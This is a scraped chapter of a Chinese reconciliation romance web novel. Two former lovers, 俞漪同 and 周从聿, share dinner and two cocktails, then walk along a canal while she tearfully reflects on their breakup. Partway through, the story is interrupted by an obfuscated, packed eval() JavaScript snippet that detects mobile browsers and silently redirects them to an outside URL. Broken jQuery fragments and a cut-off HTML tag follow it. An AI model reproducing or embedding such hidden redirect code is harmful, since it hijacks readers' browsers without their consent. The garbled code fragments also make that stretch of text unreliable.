123读书网 > 玄幻小说 > 怎么放得下[破镜重圆] > 44. chapter 44
    俞漪同诧异地转过身,手上的语音通话还没来得及挂断。


    周从聿站在她身后不远处,大概两米距离。他穿着烟灰色的大衣,身形修长,周身的气质都和这个食堂里学生气息涌动的氛围格格不入。


    “你怎么会来?”俞漪同不解地望着他,脸上表情愣滞。


    “不是你想让我来的吗?”周从聿不紧不慢道。


    被人当面戳穿了心思,俞漪同难免有些尴尬,但嘴上还是不愿意承认:“我没说过呀。”


    “那可能是我理解错了,”周从聿看着她因为不好意思而微红的脸颊,顺着她的话往下说,“我以为你昨天晚上收拾行李的时候,搞出那么大动静,是故意在撒气呢,因为我没有主动提出要和你一起来。现在看来是我自作多情了,你只是单纯的手上力气比较大是吧?”


    啊啊啊!


    闭嘴!


    这人好烦好故意啊!


    看破不说破好吗!


    俞漪同没好气地转过头:“对对对,其实我是鲁智深倒拔垂杨柳的那种手劲。”


    周从聿低眸看着她,笑道:“走吧,去吃饭。”


    听到吃饭,俞漪同又不争气地转回来。


    其实她早就在没结束之前饿得眼冒金星了。中午吃的统一的简餐盒饭,压根没有吃饱。


    “不在这吃吗?”眼看着周从聿俯身过来拉自己的手,俞漪同狐疑地看了他一眼,“不在这里吃你让我搁这踩点老半天,一会麻辣香锅一会黄焖鸡米饭一会又肉沫米线的,你玩我啊?”


    听到俞漪同的抗议,周从聿笑起来,伸手将她拉到自己身侧。


    牵着她手的指尖温热,与她的十指交缠在一起。俞漪同低头愣愣地看向两人握紧的手,又环顾一圈周围热闹的情景。


    好似曾相识的感觉。


    周从聿选了一家隐匿在里运河畔商业街旁的小酒馆。


    俞漪同看着店名,忽然意识到这家店是他们大四那年新开的。她有一次在社交媒体上刷到探店博主发的图文,觉得非常对自己胃口,于是一键转发给了周从聿。


    那个时候他们说好了等俞漪同下次来怀城的时候一起去吃,可是还没等到那一天,两个人就分开了。


    俞漪同眼波微动,偷偷看向身侧的人。


    是不是其实周从聿也还记得……


    转头却发现他的表情没什么变化,一切正常。


    那看来或许是她想多了,一切都只是巧合罢了。


    店里的环境清幽,菜品不算太丰富,胜在摆盘精致漂亮,口味尚可。


    俞漪同的目光停留在酒水那一页的菜单上。


    吧台放置了一瓶又一瓶颜色不一的酒,俞漪同看着菜单上的名字,都是不知所云但很有味道的字眼,她伸手戳了戳身旁人的手肘:“点一杯尝尝行吗?”


    周从聿顺着她手指的方向看去,图片里的酒水颜色绚丽又渐变,搭配上各色装饰。


    反正是周五,明天也没什么事。


    周从聿点点头:“你想喝哪个?”


    俞漪同思忖了片刻,凝眸在菜单上:“我最想喝这个——「我们」。”


    “那第二想呢?”


    第二啊……


    俞漪同的目光又在菜单上转了几转,然后指了指右下角那一杯:“第二想喝这个:「执念」。”


    “那就这两个吧。”周从聿伸手招呼服务生过来。


    俞漪同拉住他:“两杯都点吗?”


    周从聿有些好笑地看着她:“你说点一杯尝尝原来真的就是一杯啊,我还以为我也有的喝呢。”


    两杯酒上的很快。


    “我们”是渐变的橙色与红色,闻着是橙汁混合了龙舌兰的味道,果香盖不住酒精的刺鼻。“执念”是幽深的蓝,伏特加加上蓝色柑橘酒,混合了柠檬汁与苏打水,闻上去口味清爽酸甜,度数似乎不算太高。


    俞漪同两杯都尝了尝,发现自己不太能接受混合了苏打水的味道。于是她将“我们”留下,“执念”推到了周从聿手边。


    动作自然,收回手的时候俞漪同才意识到不对。


    她怎么能这么自然,和之前一模一样,好像习惯了每次不管喝什么都是按照自己的喜好点,然后全部尝过之后将不喜欢的那一杯丢给周从聿。


    从来如此。


    以至于现在俞漪同的大脑下达这个指令的时候还是不假思索。


    她的手指缩了缩,内心升腾起别样的情绪。


    死手,推那么快干嘛。


    还有你死嘴,喝那么快干嘛。


    俞漪同偷瞄了周从聿一眼,却见他没什么异样,顺势接过了俞漪同两相比较后递来的那一杯,看上去并没有太在意。


    罢了罢了,说不定周从聿刚才根本没注意到自己全部喝了一口的动作。


    俞漪同在心里安慰自己,并且告诫了自己一把。


    虽然他们明面上已经复合了,但从物理学的角度来看,分子是不停运动的,所以注定有些东西是回不到最开始一模一样了。


    比如,其实他们彼此都没有表明现在的心意。


    俞漪同边胡思乱想边猛吸了几口,入喉是又甜又苦的口感,带着点难以忽视的酸涩。用吸管一搅合,橙红渐变就相融在了一起,变成了介于两者之间的亮红色。


    吃完的餐盘被撤下,换成了一叠用来配酒的小食。


    时间不早了,连背景音乐都换成了适合夜晚的苦情歌。


    俞漪同一边喝一边听着前面驻唱歌手缓慢又沙哑的嗓音,时不时用余光去偷瞄周从聿。


    眼底有一点湿润,她好像有点上头。


    俞漪同撑着头想,昏昏胀胀的,可能是今天一天赶路听课的累了,才让她这么容易就有了醉意。


    “要现在回酒店吗?”看出了俞漪同的困倦与迟钝,周从聿问。


    喝完杯子里的最后一口酒,俞漪同摇摇头:“我们去河边散步好不好?”


    里运河边晚上亮着灯,照得水面波光粼粼。


    国师塔和清江浦楼各自盘踞在一边,水中有游船,来回在晚风中,整个里运河现代与古典交织。


    推开店门,凉风吹拂在脸上,闷热被缓解,俞漪同觉得自己稍微清醒了一些。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994946|190912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    河边游人如织,熙熙攘攘。


    周从聿牵着俞漪同的手,两个人并肩走在河边。


    走得很慢,慢到能看清水面上的每一丝波澜。


    俞漪同知道顺着河流一直走,可以走到河下古镇。她曾经和周从聿一起去那里玩,在春季的某一个下雨的周末。


    记得那时候说文楼汤包是她吃过最好吃的汤包,周从聿说那下次有机会再来。


    他们也是坐游船去的,春寒料峭。


    以后再也不立这种誓言了,说下次有机会要去哪里干什么。


    她和周从聿计划的下次都没有再实现。


    想到这里,俞漪同的鼻尖有些酸,或许是在酒精的作用下,整个人变得感性起来。


    她不自觉握紧了周从聿的手,在他的掌心轻轻用指甲戳了一下。


    在码头边停下,俞漪同撑着栏杆,看向河水悠悠。


    她歪着头,眼里的光忽明忽暗,头顶的月亮高悬,繁星点点,明天一定是个好天气。


    周从聿在她身旁站定,将她笼罩在自己的阴影里,替她挡住河边吹来的冷风。


    没来由地又想起刚才喝的那杯酒,让她整个人都悬浮。她倏然对着河面开口:“你知道,我的执念什么吗?”


    “什么?”周从聿偏头,看着她脸颊微红。


    “也是我们。”俞漪同的声音很轻,轻到风一吹就散了。


    但周从聿的眸色定定的,俞漪同只和他对视了短短一秒就移开了眼。


    她知道周从聿一定是听见了的。


    他脸上的表情有了一点松动,俞漪同继续盯着河面不去看他。


    酒精在血液里沸腾,想了想,她索性接着往下说:“我们分开的原因到底是什么,其实我一直在思考这个问题。”


    “不是从你的角度,而是从我的角度。”


    “为什么你没有再回来找我,没有像之前一样无限包容我的脾气?”


    “现在看来其实我们分开的点不一样,可我那时候不知道。”


    在很长一段时间里,俞漪同都陷入了一种对自我的否定与自责之中。


    “过分钻牛角尖的性格,总是在爱里有恃无恐又无理取闹的脾气。”顿了顿,俞漪同忍不住吸了吸鼻子,不知道是不是因为河边的风太大太冷吹得她眼眶生疼,她觉得自己的声音开始颤抖,“是不是让你觉得很累?”


    “我一度以为,我们在一起的时候年纪都太小了。我根本不知道该怎么去爱一个人,从头到尾都是在摸着石头过河,我们会争吵会冷战,每一次我都在等你哄我。现在想想,可能我在这段感情里的问题真的很大吧。消磨了你那么多的耐心,一直不懂得如何去维护去经营,像个长不大的小孩一样。”俞漪同一口气说了很长一段话。


    她开始感谢酒精的驱使,要不然她一定没有勇气跟周从聿说这些。


    周从聿从头到尾一句话都没说,他的眼神复杂,但始终没有打断俞漪同,而是站在一旁听着。


    听着俞漪同小声且缓慢地抬起头,最后小心翼翼地问他:“会不会有时候,其实你也在怪我?”